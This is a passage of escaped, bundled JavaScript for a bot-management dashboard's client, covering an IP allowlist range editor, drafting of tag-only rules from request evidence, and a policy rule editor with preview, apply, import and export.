\\\"ies\\\"}`));\\n block.appendChild(heading);\\n const list = el(\\\"div\\\", \\\"cidrs\\\");\\n for (const entry of set.entries) {\\n const chip = el(\\\"span\\\", BOOT.allowActing ? \\\"cidr\\\" : \\\"cidr readonly\\\");\\n chip.appendChild(document.createTextNode(entry));\\n if (BOOT.allowActing) {\\n const remove = el(\\\"button\\\", null, \\\"×\\\");\\n remove.title = `Remove ${entry} from ${set.name}`;\\n remove.setAttribute(\\\"aria-label\\\", `Remove ${entry} from ${set.name}`);\\n remove.addEventListener(\\\"click\\\", () => void update(set.name, { remove: [entry] }));\\n chip.appendChild(remove);\\n }\\n list.appendChild(chip);\\n }\\n if (set.entries.length === 0) list.appendChild(el(\\\"span\\\", \\\"hint\\\", \\\"empty\\\"));\\n block.appendChild(list);\\n body.appendChild(block);\\n }\\n if (!BOOT.allowActing) return;\\n const form = el(\\\"div\\\", \\\"rangeset\\\");\\n const row = el(\\\"div\\\", \\\"field-row\\\");\\n const name = el(\\\"input\\\", \\\"mono-input\\\");\\n name.type = \\\"text\\\";\\n name.value = \\\"allowlist\\\";\\n name.setAttribute(\\\"aria-label\\\", \\\"Range set\\\");\\n name.style.maxWidth = \\\"150px\\\";\\n const value = el(\\\"input\\\", \\\"mono-input\\\");\\n value.type = \\\"text\\\";\\n value.placeholder = \\\"203.0.113.0/24\\\";\\n value.setAttribute(\\\"aria-label\\\", \\\"Address or CIDR to add\\\");\\n const add = el(\\\"button\\\", null, \\\"Add\\\");\\n const submit = () => {\\n const entry = value.value.trim();\\n if (entry === \\\"\\\") return;\\n value.value = \\\"\\\";\\n void update(name.value.trim(), { add: [entry] });\\n };\\n add.addEventListener(\\\"click\\\", submit);\\n value.addEventListener(\\\"keydown\\\", (event) => {\\n if (event.key === \\\"Enter\\\") submit();\\n });\\n row.appendChild(name);\\n row.appendChild(value);\\n row.appendChild(add);\\n form.appendChild(row);\\n body.appendChild(form);\\n }\\n async function update(name, change) {\\n const result = await postJson(\\\"/api/ranges\\\", { name, ...change });\\n if (!result.ok) {\\n toast(\\\"bad\\\", \\\"Ranges unchanged\\\", result.error ?? \\\"\\\");\\n return;\\n }\\n toast(name === \\\"allowlist\\\" && change.add !== void 0 ? \\\"warn\\\" : \\\"ok\\\", `“${name}” updated`, `${n(result.data.entries?.length ?? 0)} entr${result.data.entries?.length === 1 ? \\\"y\\\" : \\\"ies\\\"} now.`);\\n await loadRanges();\\n }\\n\\n // src/dashboard/client/draft.ts\\n function draftRule(entry, existingIds = []) {\\n const match = {};\\n let because;\\n let stem;\\n const proven = entry.evidence.filter((item) => item.certainty === \\\"certain\\\" && item.direction !== \\\"human\\\");\\n const detectors = [...new Set((proven.length > 0 ? proven : entry.evidence.filter((item) => item.direction !== \\\"human\\\")).map((item) => item.detector))];\\n if (entry.identity !== void 0 && entry.identity !== \\\"\\\") {\\n match[\\\"identity\\\"] = [entry.identity];\\n if (entry.certain) match[\\\"certain\\\"] = true;\\n stem = entry.identity;\\n because = entry.certain ? `Matched on the identity “${entry.identity}”, and on proof — so a client merely claiming that name does not match.` : `Matched on the claimed identity “${entry.identity}”. Nothing has verified it, so this matches anything that says so.`;\\n } else if (proven.length > 0) {\\n match[\\\"detector\\\"] = detectors;\\n match[\\\"certain\\\"] = true;\\n stem = detectors[0] ?? \\\"proven\\\";\\n because = `Matched on proof from ${detectors.join(\\\", \\\")}. Only requests that carry the same proof match.`;\\n } else if (detectors.length > 0) {\\n match[\\\"verdict\\\"] = [entry.verdict];\\n match[\\\"detector\\\"] = detectors;\\n match[\\\"minScore\\\"] = Math.max(0, Math.floor(entry.score / 10) * 10);\\n stem = detectors[0] ?? entry.verdict;\\n because = `Matched on ${entry.verdict} at score ${String(match[\\\"minScore\\\"])} or more, from ${detectors.join(\\\", \\\")}. Every one of those is probabilistic, so the guard will not let this rule deny anybody.`;\\n } else {\\n match[\\\"verdict\\\"] = [entry.verdict];\\n stem = entry.verdict;\\n because = `Nothing fired on this request, so there is nothing sharper to match on than the verdict itself. Narrow it before you use it.`;\\n }\\n return {\\n rule: {\\n id: uniqueId(`from-${slug(stem)}`, existingIds),\\n match,\\n action: \\\"tag\\\",\\n reason: \\\"Drafted from a request on the dashboard.\\\",\\n _open: true\\n },\\n because\\n };\\n }\\n function slug(value) {\\n const cleaned = value.toLowerCase().replace(/[^a-z0-9]+/g, \\\"-\\\").replace(/^-+|-+$/g, \\\"\\\");\\n return cleaned === \\\"\\\" ? \\\"request\\\" : cleaned.slice(0, 40);\\n }\\n function uniqueId(wanted, taken) {\\n if (!taken.includes(wanted)) return wanted;\\n for (let suffix = 2; suffix < 1e3; suffix++) {\\n const candidate = `${wanted}-${suffix}`;\\n if (!taken.includes(candidate)) return candidate;\\n }\\n return `${wanted}-${Date.now()}`;\\n }\\n\\n // src/dashboard/client/policy.ts\\n async function loadPolicy() {\\n if (!SECTIONS.policy) return;\\n try {\\n const document_ = await getJson(\\\"/api/policy\\\");\\n state.policy = document_;\\n if (!state.editorDirty) {\\n setEditorRules(document_.rules.filter((row) => row.editable).map((row) => row.rule));\\n }\\n if (!state.guardDirty) resetGuardDraft();\\n drawPolicyTab();\\n } catch {\\n }\\n }\\n function setEditorRules(rules) {\\n state.editorRules = JSON.parse(JSON.stringify(rules ?? []));\\n renderEditor();\\n }\\n function markDirty() {\\n state.editorDirty = true;\\n $(\\\"policy-dirty\\\").hidden = false;\\n }\\n function editorRules() {\\n if (state.editorMode === \\\"json\\\") {\\n try {\\n const parsed = JSON.parse(byId(\\\"policy-json\\\").value);\\n if (!Array.isArray(parsed)) return { error: \\\"The JSON must be an array of rules.\\\" };\\n return { rules: parsed };\\n } catch (error) {\\n return { error: `The editor does not contain valid JSON: ${String(error)}` };\\n }\\n }\\n return { rules: state.editorRules };\\n }\\n function cleanRule(rule) {\\n const match = {};\\n for (const [key, value] of Object.entries(rule.match ?? {})) {\\n if (value === void 0 || value === null || value === \\\"\\\") continue;\\n if (Array.isArray(value) && value.length === 0) continue;\\n match[key] = value;\\n }\\n const params = {};\\n for (const [key, value] of Object.entries(rule.params ?? {})) {\\n if (value === void 0 || value === null || value === \\\"\\\") continue;\\n if (key === \\\"limit\\\") {\\n const limit = value;\\n if (limit.max === void 0 || limit.windowMs === void 0) continue;\\n }\\n params[key] = value;\\n }\\n const out = { id: rule.id, match, action: rule.action };\\n if (Object.keys(params).length > 0) out[\\\"params\\\"] = params;\\n if (rule.reason !== void 0 && rule.reason !== \\\"\\\") out[\\\"reason\\\"] = rule.reason;\\n return out;\\n }\\n function cleanRules(rules) {\\n return rules.map(cleanRule);\\n }\\n function field(name, control, hint) {\\n const row = el(\\\"div\\\", \\\"field\\\");\\n row.appendChild(label(name, control));\\n const right = el(\\\"div\\\", \\\"field-row\\\");\\n for (const node of Array.isArray(control) ? control : [control]) right.appendChild(node);\\n if (hint !== void 0) right.appendChild(el(\\\"span\\\", \\\"hint\\\", hint));\\n row.appendChild(right);\\n return row;\\n }\\n function chipSelect(options, selected, onChange) {\\n const box = el(\\\"div\\\", \\\"chips-select\\\");\\n const chosen = Array.isArray(selected) ? [...selected] : selected === void 0 ? [] : [String(selected)];\\n for (const option of options) {\\n const button = el(\\\"button\\\", null, option);\\n button.type = \\\"button\\\";\\n button.setAttribute(\\\"aria-pressed\\\", String(chosen.includes(option)));\\n button.addEventListener(\\\"click\\\", () => {\\n const at = chosen.indexOf(option);\\n if (at === -1) chosen.push(option);\\n else chosen.splice(at, 1);\\n button.setAttribute(\\\"aria-pressed\\\", String(at === -1));\\n onChange(chosen.length === 0 ? void 0 : [...chosen]);\\n });\\n box.appendChild(button);\\n }\\n return box;\\n }\\n function segmented2(options, value, onChange) {\\n const box = el(\\\"div\\\", \\\"seg\\\");\\n for (const [label2, option] of options) {\\n const button = el(\\\"button\\\", null, label2);\\n button.type = \\\"button\\\";\\n button.setAttribute(\\\"aria-pressed\\\", String(option === value));\\n button.addEventListener(\\\"click\\\", () => {\\n for (const other of Array.from(box.children)) other.setAttribute(\\\"aria-pressed\\\", \\\"false\\\");\\n button.setAttribute(\\\"aria-pressed\\\", \\\"true\\\");\\n onChange(option);\\n });\\n box.appendChild(button);\\n }\\n return box;\\n }\\n function textInput(value, placeholder, onChange, mono = false) {\\n const input = el(\\\"input\\\", mono ? \\\"mono-input\\\" : null);\\n input.type = \\\"text\\\";\\n input.value = value === void 0 || value === null ? \\\"\\\" : String(value);\\n input.placeholder = placeholder;\\n input.addEventListener(\\\"input\\\", () => onChange(input.value.trim() === \\\"\\\" ? void 0 : input.value));\\n return input;\\n }\\n function listInput(value, placeholder, onChange) {\\n const current = value === void 0 ? \\\"\\\" : Array.isArray(value) ? value.join(\\\", \\\") : String(value);\\n const input = textInput(current, placeholder, () => {\\n }, true);\\n input.addEventListener(\\\"input\\\", () => {\\n const parts = input.value.split(\\\",\\\").map((part) => part.trim()).filter(Boolean);\\n onChange(parts.length === 0 ? void 0 : parts.length === 1 ? parts[0] : parts);\\n });\\n return input;\\n }\\n function numberInput(value, placeholder, onChange) {\\n const input = el(\\\"input\\\");\\n input.type = \\\"number\\\";\\n input.value = value === void 0 || value === null ? \\\"\\\" : String(value);\\n input.placeholder = placeholder;\\n input.addEventListener(\\\"input\\\", () => onChange(input.value === \\\"\\\" ? void 0 : Number(input.value)));\\n return input;\\n }\\n function matchSummary(rule) {\\n const box = el(\\\"div\\\", \\\"rule-summary\\\");\\n const match = rule.match ?? {};\\n const parts = [];\\n for (const key of [\\\"verdict\\\", \\\"botClass\\\", \\\"category\\\", \\\"identity\\\", \\\"detector\\\", \\\"method\\\", \\\"path\\\"]) {\\n const value = match[key];\\n if (value === void 0) continue;\\n parts.push([key, Array.isArray(value) ? value.join(\\\", \\\") : String(value)]);\\n }\\n if (match[\\\"certain\\\"] !== void 0) parts.push([\\\"certain\\\", String(match[\\\"certain\\\"])]);\\n if (match[\\\"minScore\\\"] !== void 0 || match[\\\"maxScore\\\"] !== void 0) {\\n parts.push([\\\"score\\\", `${String(match[\\\"minScore\\\"] ?? 0)}–${String(match[\\\"maxScore\\\"] ?? 99)}`]);\\n }\\n if (match[\\\"minPriorConfirmations\\\"] !== void 0) parts.push([\\\"prior\\\", String(match[\\\"minPriorConfirmations\\\"])]);\\n if (match[\\\"minUnsolvedChallenges\\\"] !== void 0) parts.push([\\\"unsolved\\\", String(match[\\\"minUnsolvedChallenges\\\"])]);\\n if (parts.length === 0) {\\n box.appendChild(el(\\\"span\\\", \\\"none\\\", \\\"matches everything\\\"));\\n return box;\\n }\\n for (const [key, value] of parts.slice(0, 4)) box.appendChild(el(\\\"span\\\", \\\"t\\\", `${key}: ${value}`));\\n if (parts.length > 4) box.appendChild(el(\\\"span\\\", \\\"k\\\", `+${parts.length - 4} more`));\\n return box;\\n }\\n function ruleCard(rule, index) {\\n const vocabulary = state.policy?.vocabulary;\\n const open = rule._open === true;\\n const card = el(\\\"div\\\", `rule${open ? \\\"\\\" : \\\" collapsed\\\"}`);\\n const head = el(\\\"div\\\", \\\"rule-head\\\");\\n const chevron = el(\\\"button\\\", \\\"chev\\\", open ? \\\"▾\\\" : \\\"▸\\\");\\n chevron.title = open ? \\\"Collapse\\\" : \\\"Expand\\\";\\n chevron.setAttribute(\\\"aria-expanded\\\", String(open));\\n chevron.addEventListener(\\\"click\\\", () => {\\n rule._open = !open;\\n renderEditor();\\n });\\n head.appendChild(chevron);\\n head.appendChild(el(\\\"span\\\", \\\"ord\\\", index + 1));\\n const id = textInput(rule.id, \\\"rule-id\\\", (value) => {\\n rule.id = value ?? \\\"\\\";\\n markDirty();\\n }, true);\\n id.setAttribute(\\\"aria-label\\\", \\\"Rule id\\\");\\n head.appendChild(id);\\n if (open) {\\n const action = el(\\\"select\\\");\\n action.setAttribute(\\\"aria-label\\\", \\\"Action\\\");\\n for (const name of vocabulary?.actions ?? []) {\\n const option = el(\\\"option\\\", null, name);\\n option.value = name;\\n if (name === rule.action) option.selected = true;\\n action.appendChild(option);\\n }\\n action.addEventListener(\\\"change\\\", () => {\\n rule.action = action.value;\\n rule.params = {};\\n markDirty();\\n renderEditor();\\n });\\n head.appendChild(action);\\n } else {\\n head.appendChild(matchSummary(rule));\\n head.appendChild(el(\\\"span\\\", `act-pill ${actionKind(rule.action)}`, rule.action));\\n }\\n const up = el(\\\"button\\\", \\\"icon\\\", \\\"↑\\\");\\n up.title = \\\"Move earlier — the first matching rule wins\\\";\\n up.addEventListener(\\\"click\\\", () => moveRule(index, -1));\\n const down = el(\\\"button\\\", \\\"icon\\\", \\\"↓\\\");\\n down.title = \\\"Move later\\\";\\n down.addEventListener(\\\"click\\\", () => moveRule(index, 1));\\n const remove = el(\\\"button\\\", \\\"icon danger\\\", \\\"Remove\\\");\\n remove.addEventListener(\\\"click\\\", () => {\\n state.editorRules.splice(index, 1);\\n markDirty();\\n renderEditor();\\n });\\n head.appendChild(up);\\n head.appendChild(down);\\n head.appendChild(remove);\\n card.appendChild(head);\\n if (!open) return card;\\n const body = el(\\\"div\\\", \\\"rule-body\\\");\\n rule.match = rule.match ?? {};\\n const match = rule.match;\\n body.appendChild(field(\\\"Verdict\\\", chipSelect(vocabulary?.verdicts ?? [], match[\\\"verdict\\\"], (value) => {\\n match[\\\"verdict\\\"] = value;\\n markDirty();\\n })));\\n body.appendChild(field(\\\"Bot class\\\", chipSelect(vocabulary?.botClasses ?? [], match[\\\"botClass\\\"], (value) => {\\n match[\\\"botClass\\\"] = value;\\n markDirty();\\n })));\\n body.appendChild(field(\\\"Category\\\", chipSelect(vocabulary?.categories ?? [], match[\\\"category\\\"], (value) => {\\n match[\\\"category\\\"] = value;\\n markDirty();\\n })));\\n body.appendChild(field(\\\"Detector\\\", chipSelect(vocabulary?.detectors ?? [], match[\\\"detector\\\"], (value) => {\\n match[\\\"detector\\\"] = value;\\n markDirty();\\n })));\\n body.appendChild(field(\\\"Method\\\", chipSelect(vocabulary?.methods ?? [], match[\\\"method\\\"], (value) => {\\n match[\\\"method\\\"] = value;\\n markDirty();\\n })));\\n body.appendChild(\\n field(\\n \\\"Evidence\\\",\\n segmented2(\\n [\\n [\\\"any\\\", void 0],\\n [\\\"proven\\\", true],\\n [\\\"unproven\\\", false]\\n ],\\n match[\\\"certain\\\"],\\n (value) => {\\n match[\\\"certain\\\"] = value;\\n markDirty();\\n }\\n ),\\n \\\"proven means at least one piece of certain evidence — including a proven human\\\"\\n )\\n );\\n body.appendChild(\\n field(\\\"Score\\\", [\\n numberInput(match[\\\"minScore\\\"], \\\"min\\\", (value) => {\\n match[\\\"minScore\\\"] = value;\\n markDirty();\\n }),\\n el(\\\"span\\\", \\\"hint\\\", \\\"to\\\"),\\n numberInput(match[\\\"maxScore\\\"], \\\"max\\\", (value) => {\\n match[\\\"maxScore\\\"] = value;\\n markDirty();\\n })\\n ])\\n );\\n body.appendChild(field(\\\"Identity\\\", listInput(match[\\\"identity\\\"], \\\"googlebot, gptbot\\\", (value) => {\\n match[\\\"identity\\\"] = value;\\n markDirty();\\n })));\\n body.appendChild(field(\\\"Path\\\", listInput(match[\\\"path\\\"], \\\"/api/, /search\\\", (value) => {\\n match[\\\"path\\\"] = value;\\n markDirty();\\n }), \\\"a string matches as a prefix\\\"));\\n body.appendChild(\\n field(\\n \\\"Prior bots\\\",\\n numberInput(match[\\\"minPriorConfirmations\\\"], \\\"0\\\", (value) => {\\n match[\\\"minPriorConfirmations\\\"] = value;\\n markDirty();\\n }),\\n \\\"times this actor was already proven a bot\\\"\\n )\\n );\\n body.appendChild(\\n field(\\n \\\"Unsolved\\\",\\n numberInput(match[\\\"minUnsolvedChallenges\\\"], \\\"0\\\", (value) => {\\n match[\\\"minUnsolvedChallenges\\\"] = value;\\n markDirty();\\n }),\\n \\\"challenges issued to this actor that were never answered — solving one clears the count\\\"\\n )\\n );\\n rule.params = rule.params ?? {};\\n const params = rule.params;\\n for (const node of paramFields(rule.action, params)) body.appendChild(node);\\n body.appendChild(field(\\\"Reason\\\", textInput(rule.reason, \\\"shown in the decision and in your logs\\\", (value) => {\\n rule.reason = value ?? \\\"\\\";\\n markDirty();\\n })));\\n card.appendChild(body);\\n return card;\\n }\\n function paramFields(action, params) {\\n switch (action) {\\n case \\\"block\\\":\\n return [\\n field(\\\"Status\\\", numberInput(params[\\\"status\\\"], \\\"403\\\", (value) => {\\n params[\\\"status\\\"] = value;\\n markDirty();\\n })),\\n field(\\\"Body\\\", textInput(params[\\\"body\\\"], \\\"Automated traffic is not served here.\\\", (value) => {\\n params[\\\"body\\\"] = value;\\n markDirty();\\n }))\\n ];\\n case \\\"redirect\\\":\\n return [field(\\\"Location\\\", textInput(params[\\\"location\\\"], \\\"/too-fast\\\", (value) => {\\n params[\\\"location\\\"] = value;\\n markDirty();\\n }, true))];\\n case \\\"delay\\\":\\n return [field(\\\"Delay\\\", numberInput(params[\\\"delayMs\\\"], \\\"250\\\", (value) => {\\n params[\\\"delayMs\\\"] = value;\\n markDirty();\\n }), \\\"milliseconds\\\")];\\n case \\\"rate-limit\\\": {\\n const limit = params[\\\"limit\\\"] ?? {};\\n params[\\\"limit\\\"] = limit;\\n return [\\n field(\\\"Limit\\\", [\\n numberInput(limit[\\\"max\\\"], \\\"60\\\", (value) => {\\n limit[\\\"max\\\"] = value;\\n markDirty();\\n }),\\n el(\\\"span\\\", \\\"hint\\\", \\\"requests per\\\"),\\n numberInput(limit[\\\"windowMs\\\"], \\\"60000\\\", (value) => {\\n limit[\\\"windowMs\\\"] = value;\\n markDirty();\\n }),\\n el(\\\"span\\\", \\\"hint\\\", \\\"ms\\\")\\n ])\\n ];\\n }\\n case \\\"custom\\\":\\n return [field(\\\"Handler\\\", textInput(params[\\\"handler\\\"], \\\"handler-id\\\", (value) => {\\n params[\\\"handler\\\"] = value;\\n markDirty();\\n }, true), \\\"id of a handler you registered\\\")];\\n default:\\n return [];\\n }\\n }\\n function lockedCard(row) {\\n const card = el(\\\"div\\\", \\\"rule locked\\\");\\n const head = el(\\\"div\\\", \\\"rule-head\\\");\\n head.appendChild(el(\\\"span\\\", \\\"ord\\\", `#${row.index + 1}`));\\n head.appendChild(el(\\\"span\\\", \\\"mono\\\", row.id));\\n head.appendChild(el(\\\"span\\\", \\\"grow\\\"));\\n head.appendChild(el(\\\"span\\\", \\\"pill\\\", \\\"predicate — locked\\\"));\\n card.appendChild(head);\\n card.appendChild(\\n el(\\\"div\\\", \\\"rule-body\\\", \\\"This rule matches with a function, which cannot be represented here or sent over HTTP. It stays exactly as it is, at this position, whatever else you change.\\\")\\n );\\n return card;\\n }\\n function moveRule(index, delta) {\\n const target = index + delta;\\n if (target < 0 || target >= state.editorRules.length) return;\\n const moved = state.editorRules.splice(index, 1)[0];\\n if (moved === void 0) return;\\n state.editorRules.splice(target, 0, moved);\\n markDirty();\\n renderEditor();\\n }\\n function renderEditor() {\\n if (!SECTIONS.policy) return;\\n const list = $(\\\"rulelist\\\");\\n clear(list);\\n const locked = (state.policy?.rules ?? []).filter((row) => !row.editable);\\n if (state.editorRules.length === 0 && locked.length === 0) {\\n list.appendChild(el(\\\"div\\\", \\\"note\\\", \\\"No rules. Every request takes the default action — add one, or import a set.\\\"));\\n }\\n const rendered2 = state.editorRules.map((rule, index) => ruleCard(rule, index));\\n for (const row of locked) rendered2.splice(Math.min(row.index, rendered2.length), 0, lockedCard(row));\\n for (const node of rendered2) list.appendChild(node);\\n if (state.editorMode === \\\"json\\\") byId(\\\"policy-json\\\").value = JSON.stringify(cleanRules(state.editorRules), null, 2);\\n }\\n function drawPolicyTab() {\\n const document_ = state.policy;\\n if (document_ === void 0) return;\\n const editable = document_.editable;\\n $(\\\"policy-apply\\\").hidden = !editable;\\n byId(\\\"policy-json\\\").readOnly = !editable;\\n $(\\\"policy-mode\\\").textContent = editable ? \\\"editable\\\" : \\\"read-only\\\";\\n $(\\\"rule-add\\\").hidden = !editable;\\n $(\\\"policy-import\\\").hidden = !editable;\\n const preserved = document_.rules.filter((row) => !row.editable);\\n let note = editable ? \\\"First match wins — order matters.\\\" : \\\"Read-only. Enable controls.editPolicy to change these.\\\";\\n if (preserved.length > 0) note += ` ${preserved.length} rule(s) use a predicate function and are locked.`;\\n $(\\\"policy-note\\\").textContent = note;\\n renderPresetButtons();\\n drawGuard();\\n drawRanges();\\n if (SECTIONS.robots) {\\n $(\\\"robots-preview\\\").textContent = document_.robots === \\\"\\\" ? \\\"(this policy declines no crawler by name)\\\" : document_.robots;\\n const notes = $(\\\"robots-notes\\\");\\n clear(notes);\\n for (const note_ of document_.robotsNotes) notes.appendChild(el(\\\"div\\\", \\\"ev-meta\\\", `${note_.rule}: ${note_.reason}`));\\n }\\n const rules = $(\\\"stat-rules\\\");\\n clear(rules);\\n const installed = state.snapshot?.rules ?? [];\\n if (installed.length === 0) rules.appendChild(el(\\\"div\\\", \\\"note\\\", \\\"No rules configured — every request takes the default action.\\\"));\\n else installed.forEach((rule, index) => rules.appendChild(el(\\\"span\\\", \\\"chip\\\", `${index + 1}. ${rule}`)));\\n }\\n async function draftIntoEditor(entry) {\\n if (state.policy === void 0) await loadPolicy();\\n const drafted = draftRule(entry, state.editorRules.map((rule) => rule.id));\\n state.editorRules.push(drafted.rule);\\n markDirty();\\n if (state.editorMode === \\\"json\\\") byId(\\\"policy-json\\\").value = JSON.stringify(cleanRules(state.editorRules), null, 2);\\n renderEditor();\\n app.showTab(\\\"policy\\\");\\n const notes = [\\n `Drafted “${drafted.rule.id}”, tagging only. Nothing is applied — read it, choose the action, then apply.`,\\n drafted.because,\\n \\\"It was added last, which is the only position that cannot change what an existing rule does. Move it up with ↑ if it needs to win.\\\"\\n ];\\n showResult(\\\"warn\\\", (box) => {\\n for (const note of notes) box.appendChild(el(\\\"div\\\", note === notes[0] ? null : \\\"ev-meta\\\", note));\\n });\\n toast(\\\"ok\\\", \\\"Rule drafted\\\", \\\"In the editor, tagging only, not applied.\\\");\\n await runPreview(notes);\\n }\\n function switchToGui() {\\n if (state.editorMode === \\\"gui\\\") return;\\n const parsed = editorRules();\\n if (parsed.error !== void 0) {\\n toast(\\\"bad\\\", \\\"That JSON will not parse\\\", parsed.error);\\n return;\\n }\\n state.editorRules = parsed.rules ?? [];\\n state.editorMode = \\\"gui\\\";\\n $(\\\"mode-gui\\\").setAttribute(\\\"aria-pressed\\\", \\\"true\\\");\\n $(\\\"mode-json\\\").setAttribute(\\\"aria-pressed\\\", \\\"false\\\");\\n $(\\\"editor-gui\\\").hidden = false;\\n $(\\\"editor-json\\\").hidden = true;\\n renderEditor();\\n }\\n function switchToJson() {\\n state.editorMode = \\\"json\\\";\\n $(\\\"mode-gui\\\").setAttribute(\\\"aria-pressed\\\", \\\"false\\\");\\n $(\\\"mode-json\\\").setAttribute(\\\"aria-pressed\\\", \\\"true\\\");\\n $(\\\"editor-gui\\\").hidden = true;\\n $(\\\"editor-json\\\").hidden = false;\\n byId(\\\"policy-json\\\").value = JSON.stringify(cleanRules(state.editorRules), null, 2);\\n }\\n async function exportSettings() {\\n try {\\n const response = await fetch(`${API}/api/settings`);\\n const text = await response.text();\\n if (!response.ok) throw new Error(text);\\n download(text, `bothandler-settings-${today()}.json`, \\\"application/json\\\");\\n toast(\\\"ok\\\", \\\"Settings exported\\\", \\\"Rules, plus a record of the configuration around them.\\\");\\n } catch (error) {\\n toast(\\\"bad\\\", \\\"Export failed\\\", String(error));\\n }\\n }\\n function readSettingsFile(file) {\\n const reader = new FileReader();\\n reader.onload = () => {\\n try {\\n applyImported(JSON.parse(String(reader.result)), file.name);\\n } catch (error) {\\n toast(\\\"bad\\\", \\\"That file is not JSON\\\", String(error));\\n }\\n };\\n reader.onerror = () => toast(\\\"bad\\\", \\\"Could not read that file\\\", \\\"\\\");\\n reader.readAsText(file);\\n }\\n function applyImported(document_, name) {\\n const rules = Array.isArray(document_) ? document_ : Array.isArray(document_.rules) ? document_.rules : void 0;\\n if (rules === void 0) {\\n toast(\\\"bad\\\", \\\"Nothing to import\\\", \\\"Expected an array of rules, or a settings file with a rules array.\\\");\\n return;\\n }\\n setEditorRules(rules);\\n markDirty();\\n switchToGui();\\n const ignored = [];\\n const readOnly = document_.readOnly;\\n if (readOnly !== void 0) {\\n ignored.push(\\\"the guard, the detectors, the ranges and the audit — those come from the code that built the handler, not from a file\\\");\\n if (Array.isArray(readOnly.lockedRules) && readOnly.lockedRules.length > 0) {\\n ignored.push(`${readOnly.lockedRules.length} predicate rule(s), which stay as they are`);\\n }\\n }\\n showResult(\\\"warn\\\", (box) => {\\n box.appendChild(el(\\\"div\\\", null, `Loaded ${rules.length} rule(s) from ${name}. Nothing has been applied yet — preview it first.`));\\n for (const line of ignored) box.appendChild(el(\\\"div\\\", \\\"ev-meta\\\", `Ignored: ${line}`));\\n });\\n toast(\\\"ok\\\", `Imported ${rules.length} rule(s)`, \\\"Review, preview, then apply.\\\");\\n }\\n function collectForSubmit() {\\n const parsed = editorRules();\\n if (parsed.error !== void 0) {\\n showResult(\\\"bad\\\", (box) => box.appendChild(el(\\\"div\\\", null, parsed.error ?? \\\"\\\")));\\n toast(\\\"bad\\\", \\\"That JSON will not parse\\\", parsed.error);\\n return void 0;\\n }\\n const cleaned = cleanRules(parsed.rules ?? []);\\n const blank = cleaned.filter((rule) => rule[\\\"id\\\"] === void 0 || rule[\\\"id\\\"] === \\\"\\\").length;\\n if (blank > 0) {\\n toast(\\\"bad\\\", \\\"Every rule needs an id\\\", \\\"It is what every decision and log line names.\\\");\\n return void 0;\\n }\\n return cleaned;\\n }\\n async function runPreview(notes = []) {\\n const rules = collectForSubmit();\\n if (rules === void 0) return;\\n const result = await postJson(\\\"/api/policy/preview\\\", { rules });\\n if (!result.ok) {\\n showResult(\\\"bad\\\", (box) => box.appendChild(el(\\\"div\\\", null, result.error ?? \\\"\\\")));\\n toast(\\\"bad\\\", \\\"Refused\\\", result.error ?? \\\"\\\");\\n return;\\n }\\n renderPreview(result.data, notes);\\n }\\n async function applyPolicy() {\\n const rules = collectForSubmit();\\n if (rules === void 0) return;\\n const result = await postJson(\\\"/api/policy/apply\\\", { rules });\\n if (!result.ok) {\\n showResult(\\\"bad\\\", (box) => box.appendChild(el(\\\"div\\\", null, result.error ?? \\\"\\\")));\\n toast(\\\"bad\\\", \\\"Refused\\\", result.error ?? \\\"\\\");\\n return;\\n }\\n state.editorDirty = false;\\n $(\\\"policy-dirty\\\").hidden = true;\\n await loadPolicy();\\n toast(\\\"ok\\\", \\\"Applied\\\", `${n(result.data.rules)} rule(s) now in force.`);\\n showResult(\\\"ok\\\", (box) => {\\n box.appendChild(el(\\\"div\\\", null, `Applied. ${n(result.data.rules)} rule(s) are now in force.`));\\n for (const warning of result.data.warnings ?? []) box.appendChild(el(\\\"div\\\", \\\"ev-meta\\\", warning));\\n });\\n }\\n function renderPresetButtons() {\\n const box = $(\\\"preset-buttons\\\");\\n const presets = state.policy?.vocabulary.presets ?? [];\\n if (box.childElementCount === presets.length) return;\\n clear(box);\\n for (const preset of presets) {\\n const button = el(\\\"button\\\", null, preset);\\n button.addEventListener(\\\"click\\\", () => {\\n void (async () => {\\n const result = await postJson(\\\"/api/policy/preview\\\", { preset });\\n if (!result.ok) {\\n toast(\\\"bad\\\", \\\"Refused\\\", result.error ?? \\\"\\\");\\n return;\\n }\\n renderPreview(result.data);\\n })();\\n });\\n box.appendChild(button);\\n }\\n }\\n function initPolicy() {\\n if (!SECTIONS.policy) return;\\n $(\\\"mode-gui\\\").addEventListener(\\\"click\\\", switchToGui);\\n $(\\\"mode-json\\\").addEventListener(\\\"click\\\", switchToJson);\\n $(\\\"rule-add\\\").addEventListener(\\\"click\\\", () => {\\n state.editorRules.push({ id: `new-rule-${state.editorRules.length + 1}`, match: {}, action: \\\"tag\\\", params: {}, _open: true });\\n markDirty();\\n renderEditor();\\n });\\n $(\\\"rule-expand\\\").addEventListener(\\\"click\\\", () => {\\n const anyClosed = state.editorRules.some((rule) => rule._open !== true);\\n for (const rule of state.editorRules) rule._open = anyClosed;\\n $(\\\"rule-expand\\\").textContent = anyClosed ? \\\"Collapse all\\\" : \\\"Expand all\\\";\\n renderEditor();\\n });\\n byId(\\\"policy-json\\\").addEventListener(\\\"input\\\", markDirty);\\n $(\\\"policy-preview\\\").addEventListener(\\\"click\\\", () => void runPreview());\\n $(\\\"policy-apply\\\").addEventListener(\\\"click\\\", () => void applyPolicy());\\n $(\\\"policy-revert\\\").addEventListener(\\\"click\\\", () => {\\n state.editorDirty = false;\\n $(\\\"policy-dirty\\\").hidden = true;\\n $(\\\"policy-result\\\").hidden = true;\\n resetGuardDraft();\\n void loadPolicy();\\n });\\n $(\\\"policy-export\\\").addEventListener(\\\"click\\\", () => void exportSettings());\\n $(\\\"policy-import\\\").addEventListener(\\\"click\\\", () => byId(\\\"policy-file\\\").click());\\n byId(\\\"policy-file\\\").addEventListener(\\\"change\\\", () => {\\n const input = byId(\\\"policy-file\\\");\\n const file = input.files?.[0];\\n if (file !== void 0) readSettingsFile(file);\\n input.value = \\\"\\\";\\n });\\n const panel = $(\\\"editor-panel\\\");\\n for (const name of [\\\"dragenter\\\", \\\"dragover\\\"]) {\\n panel.addEventListener(name, (event) => {\\n if (state.policy?.editable !== true) return;\\n event.preventDefault();\\n panel.classList.add(\\\"drop\\\");\\n });\\n }\\n for (const name of [\\\"dragleave\\\", \\\"drop\\\"]) {\\n panel.addEventListener(name, (event) => {\\n panel.classList.remove(\\\"drop\\\");\\n if (name !== \\\"drop\\\") return;\\n event.preventDefault();\\n const file = event.dataTransfer?.files?.[0];\\n if (file !== void 0) readSettingsFile(file);\\n });\\n }\\n }\\n\\n // src/dashboard/client/feed.ts\\n var FILTERS = [\\n [\\\"all\\\", \\\"All\\\"],\\n 